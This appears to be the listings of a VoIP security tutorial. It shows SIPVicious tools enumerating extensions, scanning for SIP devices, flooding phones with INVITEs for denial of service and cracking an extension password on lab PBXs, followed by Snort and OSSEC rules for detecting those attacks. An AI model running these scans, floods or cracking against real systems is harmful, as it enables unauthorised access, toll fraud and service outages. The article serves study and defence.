Storming SIP Security Captions

Listing 1. Running svwar with default options on the target Asterisk PBX

```
box $ ./svwar.py 192.168.1.107
| Extension | Authentication |
-------------------------------
| 502       | reqauth        |
| 503       | reqauth        |
| 500       | reqauth        |
| 501       | reqauth        |

box $
```

Listing 2. SIP request and response for non-existing extension on Asterisk:

Request:

```
REGISTER sip:3040523113@192.168.1.107 SIP/2.0
Via: SIP/2.0/UDP localhost:5060;branch=z9hG4bK-2069162775;rport
Content-Length: 0
From: "3040523113"<sip:3040523113@192.168.1.107>; tag=3040523113
Accept: application/sdp
To: "3040523113"<sip:3040523113@192.168.1.107>
CSeq: 1 REGISTER
Call-ID: 3085490902
Max-Forwards: 70
```

Response:

```
SIP/2.0 404 Not found
Via: SIP/2.0/UDP
localhost:5060;branch=z9hG4bK-2069162775;received=192.168.1.137;rport=5060
From: "3040523113"<sip:3040523113@192.168.1.107>; tag=3040523113
To: "3040523113"<sip:3040523113@192.168.1.107>;tag=as28c4ddbd
Call-ID: 3085490902
CSeq: 1 REGISTER
User-Agent: Asterisk PBX
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY
Content-Length: 0
```

Listing 3. SIP request and response for an existing extension on Asterisk:

Request:

```
REGISTER sip:500@192.168.1.107 SIP/2.0
Via: SIP/2.0/UDP localhost:5060;branch=z9hG4bK-2006064845;rport
Content-Length: 0
From: "500"<sip:500@192.168.1.107>; tag=500
Accept: application/sdp
To: "500"<sip:500@192.168.1.107>
CSeq: 1 REGISTER
Call-ID: 2173812312
Max-Forwards: 70
```

Response:

```
SIP/2.0 401 Unauthorized
Via: SIP/2.0/UDP
localhost:5060;branch=z9hG4bK-2006064845;received=192.168.1.137;rport=5060
From: "500"<sip:500@192.168.1.107>; tag=500
```

```
To: "500"<sip:500@192.168.1.107>;tag=as51e86a12
Call-ID: 2173812312
CSeq: 1 REGISTER
User-Agent: Asterisk PBX
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY
WWW-Authenticate: Digest algorithm=MD5, realm="asterisk", nonce="0cf87917"
Content-Length: 0
```

Listing 4. SIP request and response for a non-existent extension on Brekeke:

Request:

```
REGISTER sip:954434603@192.168.1.112 SIP/2.0
Via: SIP/2.0/UDP localhost:5060;branch=z9hG4bK-880229315;rport
Content-Length: 0
From: "954434603"<sip:954434603@192.168.1.112>; tag=954434603
Accept: application/sdp
To: "954434603"<sip:954434603@192.168.1.112>
CSeq: 1 REGISTER
Call-ID: 3944038278
Max-Forwards: 70
```

Response:

```
SIP/2.0 403 Forbidden
Via: SIP/2.0/UDP
localhost:5060;branch=z9hG4bK-2872701808;rport=5060;received=192.168.1.137
From: "957276076"<sip:957276076@192.168.1.112>; tag=957276076
To: "957276076"<sip:957276076@192.168.1.112>;tag=1195922819781-287064365
Call-ID: 419342183
CSeq: 1 REGISTER
Expires: 3600
Content-Length: 0
```

Listing 5. SIP request and response for an existing extension on Brekeke:

Request:

```
REGISTER sip:100@192.168.1.112 SIP/2.0
Via: SIP/2.0/UDP localhost:5060;branch=z9hG4bK-1040867784;rport
Content-Length: 0
From: "100"<sip:100@192.168.1.112>; tag=100
Accept: application/sdp
To: "100"<sip:100@192.168.1.112>
CSeq: 1 REGISTER
Call-ID: 4105598360
Max-Forwards: 70
```

Response:

```
SIP/2.0 403 Forbidden
Via: SIP/2.0/UDP
localhost:5060;branch=z9hG4bK-1040867784;rport=5060;received=192.168.1.137
From: "100"<sip:100@192.168.1.112>; tag=100
To: "100"<sip:100@192.168.1.112>;tag=1195923050546-1029869379
Call-ID: 4105598360
CSeq: 1 REGISTER
Expires: 3600
Content-Length: 0
```

Listing 6. Running svwar with default options on the target Brekeke

```
box $ ./svwar.py 192.168.1.112 -p5060 -e100,999
ERROR:TakeASip:SIP server replied with an authentication request for an unknown
extension. Set --force to force a scan.
WARNING:root:found nothing
box $
```

Listing 7. SIP request and response for an existing extension on Brekeke:

Request

```
OPTIONS sip:2320844626@192.168.1.112 SIP/2.0
Via: SIP/2.0/UDP localhost:5060;branch=z9hG4bK-529132572;rport
Content-Length: 0
From: "2320844626"<sip:2320844626@192.168.1.112>; tag=2320844626
Accept: application/sdp
To: "2320844626"<sip:2320844626@192.168.1.112>
CSeq: 1 OPTIONS
Call-ID: 3796474084
Max-Forwards: 70
```

Reply

```
SIP/2.0 404 Not Found
Via: SIP/2.0/UDP
localhost:5060;branch=z9hG4bK-529132572;rport=5060;received=192.168.1.137
From: "2320844626"<sip:2320844626@192.168.1.112>; tag=2320844626
To: "2320844626"<sip:2320844626@192.168.1.112>;tag=1195924895187-1065907948
Call-ID: 3796474084
CSeq: 1 OPTIONS
Content-Length: 0
```

Listing 8. SIP request and response for an existing extension on Brekeke:

Request

```
OPTIONS sip:100@192.168.1.112 SIP/2.0
Via: SIP/2.0/UDP localhost:5060;branch=z9hG4bK-3888338510;rport
Content-Length: 0
From: "100"<sip:100@192.168.1.112>; tag=100
Accept: application/sdp
To: "100"<sip:100@192.168.1.112>
CSeq: 1 OPTIONS
Call-ID: 3442323100
Max-Forwards: 70
```

Reply

```
SIP/2.0 200 OK
Via: SIP/2.0/UDP
localhost:5060;branch=z9hG4bK-3888338510;rport=5060;received=192.168.1.137
Record-Route: <sip:192.168.1.112:5060;lr>
Contact: <sip:100@192.168.1.112:5060>
To: "100"<sip:100@192.168.1.112>;tag=3132875a
From: "100"<sip:100@192.168.1.112>;tag=100
Call-ID: 3442323100
CSeq: 1 OPTIONS
Accept: application/sdp
Accept-Language: en
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, SUB-
SCRIBE, INFO
User-Agent: X-Lite release 1011s stamp 41150
Content-Length: 0
```

Listing 9. Running svwar with an OPTIONS method on the target Brekeke

```
box $ ./svwar.py 192.168.1.112 -m OPTIONS
| Extension | Authentication |
-------------------------------
| 100       | noauth         |

box $
```

Listing 10. Running svwar with an INVALID method on the target Brekeke

```
box $ ./svwar.py 192.168.1.112 -m INVALID
WARNING:TakeASip:extension '100' probably exists but the response is unex-
pected
| Extension | Authentication |
-------------------------------
| 100       | weird          |

box $
```

Listing 11. SIP request and response to a provider

Request

```
INVITE sip:4717081@sipprovider.com SIP/2.0
Via: SIP/2.0/UDP
192.168.1.112:11004;branch=z9hG4bK-d87543-6913025e904f0c60-1--d87543-;rport
Max-Forwards: 70
Contact: <sip:100@88.88.88.88:11004>
To: "sip:4717081@sipprovider.com"<sip:4717081@sipprovider.com>
From: "hello there"<sip:100@192.168.1.112>;tag=1626f92e
Call-ID: MmQ4Yjc2ODVmODc0OGRiMGU0NTNlMjYzM2M5MzgxMDg.
CSeq: 1 INVITE
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, SUB-
SCRIBE, INFO
Content-Type: application/sdp
User-Agent: X-Lite release 1011s stamp 41150
Content-Length: 574

v=0
o=- 1 2 IN IP4 192.168.1.112
s=CounterPath X-Lite 3.0
c=IN IP4 192.168.1.112
t=0 0
m=audio 58524 RTP/AVP 107 119 100 106 0 105 98 8 101
a=alt:1 4 : wSa5EL8d /gS0Kkpy 192.168.1.112 58524
a=alt:2 3 : 1Zarlwxs ys09aPQd 192.168.1.113 58524
a=alt:3 2 : EEGF4svE BA7VvsFr 192.168.88.1 58524
a=alt:4 1 : YplH5tSl Bbgx4Fkl 192.168.31.1 58524
a=fmtp:101 0-15
a=rtpmap:107 BV32/16000
a=rtpmap:119 BV32-FEC/16000
a=rtpmap:100 SPEEX/16000
a=rtpmap:106 SPEEX-FEC/16000
a=rtpmap:105 SPEEX-FEC/8000
a=rtpmap:98 iLBC/8000
a=rtpmap:101 telephone-event/8000
a=sendrecv
```

Reply

```
SIP/2.0 407 Proxy Authentication Required
Via: SIP/2.0/UDP
```

```
192.168.1.112:11004;received=88.88.88.88;branch=z9hG4bK-d87543-6913025e904f
0c60-1--d87543-;rport=11004
To:
"sip:4717081@sipprovider.com"<sip:4717081@sipprovider.com>;tag=fe1721141f05
bd30d4b50c70da3ae228.3f78
From: "hello there"<sip:100@192.168.1.112>;tag=1626f92e
Call-ID: MmQ4Yjc2ODVmODc0OGRiMGU0NTNlMjYzM2M5MzgxMDg.
CSeq: 1 INVITE
Proxy-Authenticate: Digest realm="sipprovider.com",
nonce="4749b3a27877875af917a9b093f525059c4e7f26"
Content-Length: 0
```

Listing 12. Running svmap to look for SIP phones

```
box $ ./svmap.py 192.168.1.1/24
| SIP Device          | User Agent                        |
-------------------------------------------------------
| 192.168.1.111:5060 | 3CXPhoneSystem                     |
| 192.168.1.137:5060 | SJphone/1.60.299a/L (SJ Labs)      |
| 192.168.1.112:5060 | unknown                            |

box $
```

Figure 6.

Figure 7

Listing 13. Running svmap to look for SIP phones on non-standard port

```
box $ ./svmap.py 192.168.1.112 -v -p 1024-65535
INFO:root:start your engines
INFO:DrinkOrSip:192.168.1.112:1169      ->      192.168.1.112:1169
->      unknown
INFO:DrinkOrSip:192.168.1.112:1169      ->      192.168.1.112:1169
->      unknown
^CWARNING:root:caught your control^c - quiting
INFO:root:we have 1 devices
| SIP Device          | User Agent |
-----------------------------------
| 192.168.1.112:1169 | unknown     |

INFO:root:Total time: 0:00:04.642724

box $
```

Listing 14. Running svwar to identify valid user on sip phone

```
box $  ./svwar.py -p 1169 192.168.1.112 -m INVITE
| Extension | Authentication |
-----------------------------
| 100       | noauth         |
```

```
box $
```

Listing 15. Using svmap to cause a Denial of Service

```
box $ ./svmap.py 192.168.1.1/24 -m INVITE
| SIP Device          | User Agent                          |
-----------------------------------------------------------
| 192.168.1.137:5060 | SJphone/1.60.299a/L (SJ Labs)  |
| 192.168.1.138:5060 | SJphone/1.60.299a/L (SJ Labs)  |
| 192.168.1.139:5060 | SJphone/1.60.299a/L (SJ Labs)  |
| 192.168.1.143:5060 | SJphone/1.60.299a/L (SJ Labs)  |
| 192.168.1.144:5060 | SJphone/1.60.299a/L (SJ Labs)  |

box $
```

Figure 8

Listing 16. Normal REGISTER authentication

```
REGISTER sip:192.168.1.112:5061 SIP/2.0
Via: SIP/2.0/UDP
192.168.1.137:54626;branch=z9hG4bK-d87543-68bf985f94f5330f-1--d87543-;rport
Max-Forwards: 70
Contact: <sip:112@192.168.1.137:54626;rinstance=f66415b8af63c496>
To: "112"<sip:112@192.168.1.112:5061>
From: "112"<sip:112@192.168.1.112:5061>;tag=547fb56f
Call-ID: OTIyZjEzNWFhMDkzNzJkNTdmMGFlMTZiYWRmMGM3ZmU.
CSeq: 1 REGISTER
Expires: 3600
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, SUB-
SCRIBE, INFO
User-Agent: X-Lite release 1011b stamp 39984
Content-Length: 0

SIP/2.0 401 Unauthorized
Via: SIP/2.0/UDP
192.168.1.137:54626;branch=z9hG4bK-d87543-68bf985f94f5330f-1--d87543-;rport
To: "112"<sip:112@192.168.1.112:5061>
From: "112"<sip:112@192.168.1.112:5061>;tag=547fb56f
Call-ID: OTIyZjEzNWFhMDkzNzJkNTdmMGFlMTZiYWRmMGM3ZmU.
CSeq: 1 REGISTER
User-Agent: NCH Swift Sound Axon 1.20
WWW-Authenticate: Digest
realm="axon@stevo",nonce="v8234qaq441w",opaque="",stale=FALSE,algorithm=MD5
Content-Length: 0

REGISTER sip:192.168.1.112:5061 SIP/2.0
Via: SIP/2.0/UDP
192.168.1.137:54626;branch=z9hG4bK-d87543-b428490068361767-1--d87543-;rport
Max-Forwards: 70
Contact: <sip:112@192.168.1.137:54626;rinstance=f66415b8af63c496>
To: "112"<sip:112@192.168.1.112:5061>
From: "112"<sip:112@192.168.1.112:5061>;tag=547fb56f
Call-ID: OTIyZjEzNWFhMDkzNzJkNTdmMGFlMTZiYWRmMGM3ZmU.
CSeq: 2 REGISTER
Expires: 3600
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, SUBSCRIBE,
INFO
User-Agent: X-Lite release 1011b stamp 39984
Authorization: Digest
username="112",realm="axon@stevo",nonce="v8234qaq441w",uri="sip:192.168.1.112:50
61",response="270dd9dab3671b6f3dd921d8a52ed108",algorithm=MD5,opaque=""
Content-Length: 0
```

```
SIP/2.0 200 OK
Via: SIP/2.0/UDP
192.168.1.137:54626;branch=z9hG4bK-d87543-b428490068361767-1--d87543-;rport
To: "112"<sip:112@192.168.1.112:5061>
From: "112"<sip:112@192.168.1.112:5061>;tag=547fb56f
Call-ID: OTIyZjEzNWFhMDkzNzJkNTdmMGFlMTZiYWRmMGM3ZmU.
CSeq: 2 REGISTER
User-Agent: NCH Swift Sound Axon 1.20
Contact: <sip:192.168.1.137>;expires=3468;q=0.5
Contact:
<sip:112@192.168.1.137:49388;rinstance=8b5f68f72e026d2a>;expires=3572;q=0.5
Contact:
<sip:112@192.168.1.137:54626;rinstance=f66415b8af63c496>;expires=3600;q=0.5
Content-Length: 0
```

Listing 17. Same nonce, different response

```
nonce="v8234qaq441w",response="76e68eedd53ec6fc4510d251e72170fa"
nonce="v8234qaq441w",response="dd7d3a7fd35f6de6b8b125ea8654fb5d"
nonce="v8234qaq441w",response="2d509f73e75d93b3d68926824c99a8c3"
nonce="v8234qaq441w",response="c12e0e0ea9c3d279c2e9970b3d2014a1"
```

Listing 18. Using svcrack with the optimization enabled

```
box $ ./svcrack.py 192.168.1.112 -u112 -p5061 -n -r111,222,333,999
| Extension | Password |
------------------------
| 112       | 999      |

box $
```

Listing 19. Snort rules by Snocer

Rule for alerting of INVITE flood attack:

```
alert ip any any -> $SIP_PROXY_IP $SIP_PROXY_PORTS \
(msg:"INVITE message flooding"; content:"INVITE"; depth:6; \
threshold: type both , track by_src, count 100, seconds 60; \
sid:5000004; rev:1;)
```

Rule for alerting of REGISTER flood attack:

```
alert ip any any -> $SIP_PROXY_IP $SIP_PROXY_PORTS \
(msg:"REGISTER message flooding"; content:"REGISTER"; depth:8; \
threshold: type both , track by_src, count 100, seconds 60; \
sid:5000005; rev:1;)
```

Threshold rule for unauthorized responses:

```
alert ip any any -> $SIP_PROXY_IP $SIP_PROXY_PORTS \
(msg:"INVITE message flooding"; \
content:"SIP/2.0 401 Unauthorized"; depth:24; \
threshold: type both, track by_src, count 100, seconds 60; \
sid:5000009; rev:1;)
```

Listing 20. Additional custom Snort rules

Rule for alerting of OPTIONS scan or flood attack:

```
alert ip any any -> $HOME_NET $SIP_PROXY_PORTS \
(msg:"OPTIONS SIP scan"; content:"OPTIONS"; depth:7; \
```

```
threshold: type both , track by_src, count 30, seconds 3; \
sid:5000004; rev:1;)
```

Some more response rules:

```
alert ip any any -> $SIP_PROXY_IP $SIP_PROXY_PORTS \
(msg:"Excessive number of SIP 4xx Responses - possible user or password
guessing attack"; \
pcre:"/^SIP\/2.0 4\d{2}"; \
threshold: type both, track by_src, count 100, seconds 60; \
sid:5000009; rev:1;)
```

Detecting the "ghost phone call" attack:

```
alert ip any any -> $SIP_PROXY_IP $SIP_PROXY_PORTS \
(msg:"Ghost call attack"; \
content:"SIP/2.0 180"; depth:11; \
threshold: type both, track by_src, count 100, seconds 60; \
sid:5000009; rev:1;)
```

Listing 21. OSSEC Configuration - /var/ossec/rules/asterisk.xml

```
<group name="asterisk,">
     <rule id="102000" level="0">
          <description>Grouping of Asterisk rules</description>
          <decoded_as>asterisk</decoded_as>
     </rule>

     <rule id="102002" level="0">
          <match>Username/auth name mismatch</match>
          <description>an unknown username</description>
          <if_sid>102000</if_sid>
     </rule>

     <rule id="102003" level="10" frequency="10" timeframe="600">
          <if_matched_sid>102002</if_matched_sid>
          <description>Enumeration of users on asterisk in process</
description>
     </rule>

     <rule id="102004" level="6">
          <if_sid>102000</if_sid>
          <match>Wrong password</match>
          <description>Someone got the password wrong</description>
     </rule>

     <rule id="102006" level="10" frequency="10" timeframe="600">
         <if_matched_sid>102004</if_matched_sid>
          <description>A password cracking attack in process</description>
     </rule>
</group>
```

Listing 22. OSSEC modifications to enable the rule

```
box # vi /var/ossec/etc/ossec.conf
```

Then add a line in the include section to include the new Asterisk ruleset:

```
<include>asterisk.xml</include>

box # vi /var/ossec/etc/decoder.conf
```

Then add a line in the include section to include the new Asterisk ruleset:

```
<decoder name="asterisk">
  <program_name>^asterisk</program_name>
</decoder>

<decoder name="asterisk-denied">
 <parent>asterisk</parent>
 <prematch>Registration from </prematch>
 <regex offset="after_prematch">failed for '(\d+.\d+.\d+.\d+)'</regex>
 <order>srcip</order>
</decoder>
```

Once OSSEC has been set, restart the service:

```
box # /etc/init.d/ossec restart
Stopping OSSEC:                                            [  OK  ]
Starting OSSEC:                                            [  OK  ]
```

Asterisk needs to be configured to log to syslog so that the log entries can be picked up with OSSEC. If this is not already the case, then run the following commands to enable this functionality.

```
box # echo "syslog.local0 => notice,warning,error" >>
/etc/asterisk/logger.conf
box # /etc/init.d/asterisk restart
Shutting down asterisk:                                    [  OK  ]
Starting asterisk:                                         [  OK  ]
box #
```